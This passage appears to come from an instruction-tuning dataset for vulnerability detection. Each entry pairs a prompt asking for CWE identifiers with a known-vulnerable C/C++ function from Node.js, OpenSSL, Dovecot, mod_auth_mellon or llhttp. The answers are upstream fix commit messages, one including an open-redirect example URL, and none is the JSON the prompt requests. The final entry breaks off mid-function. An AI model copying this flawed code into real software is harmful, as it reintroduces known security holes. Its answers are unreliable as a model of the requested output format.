+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int LibuvStreamWrap::DoWrite(WriteWrap* req_wrap,\n                             uv_buf_t* bufs,\n                             size_t count,\n                             uv_stream_t* send_handle) {\n  LibuvWriteWrap* w = static_cast(req_wrap);\n  int r;\n  if (send_handle == nullptr) {\n    r = w->Dispatch(uv_write, stream(), bufs, count, AfterUvWrite);\n  } else {\n    r = w->Dispatch(uv_write2,\n                    stream(),\n                    bufs,\n                    count,\n                    send_handle,\n                    AfterUvWrite);\n  }\n\n  if (!r) {\n    size_t bytes = 0;\n    for (size_t i = 0; i < count; i++)\n      bytes += bufs[i].len;\n    if (stream()->type == UV_TCP) {\n      NODE_COUNT_NET_BYTES_SENT(bytes);\n    } else if (stream()->type == UV_NAMED_PIPE) {\n      NODE_COUNT_PIPE_BYTES_SENT(bytes);\n    }\n  }\n\n  return r;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'src: use unique_ptr for WriteWrap\n\nThis commit attempts to avoid a use-after-free error by using unqiue_ptr\nand passing a reference to it.\n\nCVE-ID: CVE-2020-8265\nFixes: https://github.com/nodejs-private/node-private/issues/227\nPR-URL: https://github.com/nodejs-private/node-private/pull/238\nReviewed-By: Michael Dawson \nReviewed-By: Tobias Nie\u00dfen \nReviewed-By: Richard Lau '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: unsigned long X509_issuer_and_serial_hash(X509 *a)\n{\n    unsigned long ret = 0;\n    EVP_MD_CTX *ctx = EVP_MD_CTX_new();\n    unsigned char md[16];\n    char *f;\n\n    if (ctx == NULL)\n        goto err;\n    f = X509_NAME_oneline(a->cert_info.issuer, NULL, 0);\n    if (!EVP_DigestInit_ex(ctx, EVP_md5(), NULL))\n        goto err;\n    if (!EVP_DigestUpdate(ctx, (unsigned char *)f, strlen(f)))\n        goto err;\n    OPENSSL_free(f);\n    if (!EVP_DigestUpdate\n        (ctx, (unsigned char *)a->cert_info.serialNumber.data,\n         (unsigned long)a->cert_info.serialNumber.length))\n        goto err;\n    if (!EVP_DigestFinal_ex(ctx, &(md[0]), NULL))\n        goto err;\n    ret = (((unsigned long)md[0]) | ((unsigned long)md[1] << 8L) |\n           ((unsigned long)md[2] << 16L) | ((unsigned long)md[3] << 24L)\n        ) & 0xffffffffL;\n err:\n    EVP_MD_CTX_free(ctx);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Fix Null pointer deref in X509_issuer_and_serial_hash()\n\nThe OpenSSL public API function X509_issuer_and_serial_hash() attempts\nto create a unique hash value based on the issuer and serial number data\ncontained within an X509 certificate. However it fails to correctly\nhandle any errors that may occur while parsing the issuer field (which\nmight occur if the issuer field is maliciously constructed). This may\nsubsequently result in a NULL pointer deref and a crash leading to a\npotential denial of service attack.\n\nThe function X509_issuer_and_serial_hash() is never directly called by\nOpenSSL itself so applications are only vulnerable if they use this\nfunction directly and they use it on certificates that may have been\nobtained from untrusted sources.\n\nCVE-2021-23841\n\nReviewed-by: Richard Levitte \nReviewed-by: Paul Dale '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void save_key_to(const char *algo, const char *name, const char *keydata)\n{\n\tconst char *error;\n\tstruct dict_transaction_context *ctx =\n\t\tdict_transaction_begin(keys_dict);\n\talgo = t_str_ucase(algo);\n\tdict_set(ctx, t_strconcat(DICT_PATH_SHARED, \"default/\", algo, \"/\",\n\t\t\t\t  name, NULL),\n\t\t keydata);\n\tif (dict_transaction_commit(&ctx, &error) < 0)\n\t\ti_error(\"dict_set(%s) failed: %s\", name, error);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-22'], 'message': 'lib-oauth2: Ensure azp is escaped too'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int am_check_url(request_rec *r, const char *url)\n{\n    const char *i;\n\n    for (i = url; *i; i++) {\n        if (*i >= 0 && *i < ' ') {\n            /* Deny all control-characters. */\n            AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, HTTP_BAD_REQUEST, r,\n                          \"Control character detected in URL.\");\n            return HTTP_BAD_REQUEST;\n        }\n        if (*i == '\\\\') {\n            /* Reject backslash character, as it can be used to bypass\n             * redirect URL validation. */\n            AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, HTTP_BAD_REQUEST, r,\n                          \"Backslash character detected in URL.\");\n            return HTTP_BAD_REQUEST;\n        }\n    }\n\n    return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-601'], 'message': 'Prevent redirect to URLs that begin with '///'\n\nVisiting a logout URL like this:\n    https://rp.example.co.jp/mellon/logout?ReturnTo=///fishing-site.example.com/logout.html\nwould have redirected the user to fishing-site.example.com\n\nWith the patch, this URL would be rejected.\n\nFixes: CVE-2021-3639'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ia5ncasecmp(const char *s1, const char *s2, size_t n)\n{\n    for (; n > 0; n--, s1++, s2++) {\n        if (*s1 != *s2) {\n            unsigned char c1 = (unsigned char)*s1, c2 = (unsigned char)*s2;\n\n            /* Convert to lower case */\n            if (c1 >= 0x41 /* A */ && c1 <= 0x5A /* Z */)\n                c1 += 0x20;\n            if (c2 >= 0x41 /* A */ && c2 <= 0x5A /* Z */)\n                c2 += 0x20;\n\n            if (c1 == c2)\n                continue;\n\n            if (c1 < c2)\n                return -1;\n\n            /* c1 > c2 */\n            return 1;\n        } else if (*s1 == 0) {\n            /* If we get here we know that *s2 == 0 too */\n            return 0;\n        }\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix the name constraints code to not assume NUL terminated strings\n\nASN.1 strings may not be NUL terminated. Don't assume they are.\n\nCVE-2021-3712\n\nReviewed-by: Viktor Dukhovni \nReviewed-by: Paul Dale '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static llparse_state_t llhttp__internal__run(\n    llhttp__internal_t* state,\n    const unsigned char* p,\n    const unsigned char* endp) {\n  int match;\n  switch ((llparse_state_t) (intptr_t) state->_current) {\n    case s_n_llhttp__internal__n_closed:\n    s_n_llhttp__internal__n_closed: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_closed;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_closed;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__after_message_complete:\n    s_n_llhttp__internal__n_invoke_llhttp__after_message_complete: {\n      switch (llhttp__after_message_complete(state, p, endp)) {\n        case 1:\n          goto s_n_llhttp__internal__n_invoke_update_finish_2;\n        default:\n          goto s_n_llhttp__internal__n_invoke_update_finish_1;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_pause_1:\n    s_n_llhttp__internal__n_pause_1: {\n      state->error = 0x16;\n      state->reason = \"Pause on CONNECT/Upgrade\";\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__after_message_complete;\n      return s_error;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_is_equal_upgrade:\n    s_n_llhttp__internal__n_invoke_is_equal_upgrade: {\n      switch (llhttp__internal__c_is_equal_upgrade(state, p, endp)) {\n        case 0:\n          goto s_n_llhttp__internal__n_invoke_llhttp__after_message_complete;\n        default:\n          goto s_n_llhttp__internal__n_pause_1;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2:\n    s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_2: {\n      switch (llhttp__on_message_complete(state, p, endp)) {\n        case 0:\n          goto s_n_llhttp__internal__n_invoke_is_equal_upgrade;\n        case 21:\n          goto s_n_llhttp__internal__n_pause_5;\n        default:\n          goto s_n_llhttp__internal__n_error_9;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_data_almost_done_skip:\n    s_n_llhttp__internal__n_chunk_data_almost_done_skip: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_data_almost_done_skip;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_llhttp__on_chunk_complete;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_data_almost_done:\n    s_n_llhttp__internal__n_chunk_data_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_data_almost_done;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_chunk_data_almost_done_skip;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_consume_content_length:\n    s_n_llhttp__internal__n_consume_content_length: {\n      size_t avail;\n      uint64_t need;\n      \n      avail = endp - p;\n      need = state->content_length;\n      if (avail >= need) {\n        p += need;\n        state->content_length = 0;\n        goto s_n_llhttp__internal__n_span_end_llhttp__on_body;\n      }\n      \n      state->content_length -= avail;\n      return s_n_llhttp__internal__n_consume_content_length;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_body:\n    s_n_llhttp__internal__n_span_start_llhttp__on_body: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_body;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_body;\n      goto s_n_llhttp__internal__n_consume_content_length;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_is_equal_content_length:\n    s_n_llhttp__internal__n_invoke_is_equal_content_length: {\n      switch (llhttp__internal__c_is_equal_content_length(state, p, endp)) {\n        case 0:\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_body;\n        default:\n          goto s_n_llhttp__internal__n_invoke_or_flags;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_size_almost_done:\n    s_n_llhttp__internal__n_chunk_size_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_size_almost_done;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_llhttp__on_chunk_header;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_parameters:\n    s_n_llhttp__internal__n_chunk_parameters: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_parameters;\n      }\n      switch (*p) {\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_chunk_size_almost_done;\n        }\n        default: {\n          p++;\n          goto s_n_llhttp__internal__n_chunk_parameters;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_size_otherwise:\n    s_n_llhttp__internal__n_chunk_size_otherwise: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_size_otherwise;\n      }\n      switch (*p) {\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_chunk_size_almost_done;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_chunk_parameters;\n        }\n        case ';': {\n          p++;\n          goto s_n_llhttp__internal__n_chunk_parameters;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_6;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_size:\n    s_n_llhttp__internal__n_chunk_size: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_size;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'A': {\n          p++;\n          match = 10;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'B': {\n          p++;\n          match = 11;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'C': {\n          p++;\n          match = 12;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'D': {\n          p++;\n          match = 13;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'E': {\n          p++;\n          match = 14;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'F': {\n          p++;\n          match = 15;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'a': {\n          p++;\n          match = 10;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'b': {\n          p++;\n          match = 11;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'c': {\n          p++;\n          match = 12;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'd': {\n          p++;\n          match = 13;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'e': {\n          p++;\n          match = 14;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'f': {\n          p++;\n          match = 15;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_chunk_size_otherwise;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_chunk_size_digit:\n    s_n_llhttp__internal__n_chunk_size_digit: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_chunk_size_digit;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'A': {\n          p++;\n          match = 10;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'B': {\n          p++;\n          match = 11;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'C': {\n          p++;\n          match = 12;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'D': {\n          p++;\n          match = 13;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'E': {\n          p++;\n          match = 14;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'F': {\n          p++;\n          match = 15;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'a': {\n          p++;\n          match = 10;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'b': {\n          p++;\n          match = 11;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'c': {\n          p++;\n          match = 12;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'd': {\n          p++;\n          match = 13;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'e': {\n          p++;\n          match = 14;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        case 'f': {\n          p++;\n          match = 15;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_8;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_update_content_length:\n    s_n_llhttp__internal__n_invoke_update_content_length: {\n      switch (llhttp__internal__c_update_content_length(state, p, endp)) {\n        default:\n          goto s_n_llhttp__internal__n_chunk_size_digit;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_consume_content_length_1:\n    s_n_llhttp__internal__n_consume_content_length_1: {\n      size_t avail;\n      uint64_t need;\n      \n      avail = endp - p;\n      need = state->content_length;\n      if (avail >= need) {\n        p += need;\n        state->content_length = 0;\n        goto s_n_llhttp__internal__n_span_end_llhttp__on_body_1;\n      }\n      \n      state->content_length -= avail;\n      return s_n_llhttp__internal__n_consume_content_length_1;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_body_1:\n    s_n_llhttp__internal__n_span_start_llhttp__on_body_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_body_1;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_body;\n      goto s_n_llhttp__internal__n_consume_content_length_1;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_eof:\n    s_n_llhttp__internal__n_eof: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_eof;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_eof;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_body_2:\n    s_n_llhttp__internal__n_span_start_llhttp__on_body_2: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_body_2;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_body;\n      goto s_n_llhttp__internal__n_eof;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete:\n    s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete: {\n      switch (llhttp__after_headers_complete(state, p, endp)) {\n        case 1:\n          goto s_n_llhttp__internal__n_invoke_llhttp__on_message_complete_1;\n        case 2:\n          goto s_n_llhttp__internal__n_invoke_update_content_length;\n        case 3:\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_body_1;\n        case 4:\n          goto s_n_llhttp__internal__n_invoke_update_finish_3;\n        case 5:\n          goto s_n_llhttp__internal__n_error_10;\n        default:\n          goto s_n_llhttp__internal__n_invoke_llhttp__on_message_complete;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_headers_almost_done:\n    s_n_llhttp__internal__n_headers_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_headers_almost_done;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_test_flags;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete:\n    s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete: {\n      switch (llhttp__on_header_value_complete(state, p, endp)) {\n        default:\n          goto s_n_llhttp__internal__n_header_field_start;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_header_value:\n    s_n_llhttp__internal__n_span_start_llhttp__on_header_value: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_header_value;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_header_value;\n      goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_discard_lws:\n    s_n_llhttp__internal__n_header_value_discard_lws: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_discard_lws;\n      }\n      switch (*p) {\n        case 9: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_ws;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_ws;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_load_header_state;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_discard_ws_almost_done:\n    s_n_llhttp__internal__n_header_value_discard_ws_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_discard_ws_almost_done;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_header_value_discard_lws;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_lws:\n    s_n_llhttp__internal__n_header_value_lws: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_lws;\n      }\n      switch (*p) {\n        case 9: {\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1;\n        }\n        case ' ': {\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_load_header_state_3;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_almost_done:\n    s_n_llhttp__internal__n_header_value_almost_done: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_almost_done;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_lws;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_14;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_lenient:\n    s_n_llhttp__internal__n_header_value_lenient: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_lenient;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_1;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_3;\n        }\n        default: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_lenient;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_otherwise:\n    s_n_llhttp__internal__n_header_value_otherwise: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_otherwise;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_1;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_2;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_test_lenient_flags_2;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection_token:\n    s_n_llhttp__internal__n_header_value_connection_token: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection_token;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection_token;\n        }\n        case 2: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_otherwise;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection_ws:\n    s_n_llhttp__internal__n_header_value_connection_ws: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection_ws;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_header_value_otherwise;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_header_value_otherwise;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection_ws;\n        }\n        case ',': {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_load_header_state_4;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_4;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection_1:\n    s_n_llhttp__internal__n_header_value_connection_1: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection_1;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob3, 4);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_header_state_2;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_value_connection_1;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_header_value_connection_token;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection_2:\n    s_n_llhttp__internal__n_header_value_connection_2: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection_2;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob4, 9);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_header_state_5;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_value_connection_2;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_header_value_connection_token;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection_3:\n    s_n_llhttp__internal__n_header_value_connection_3: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection_3;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob5, 6);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_header_state_6;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_value_connection_3;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_header_value_connection_token;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_connection:\n    s_n_llhttp__internal__n_header_value_connection: {\n    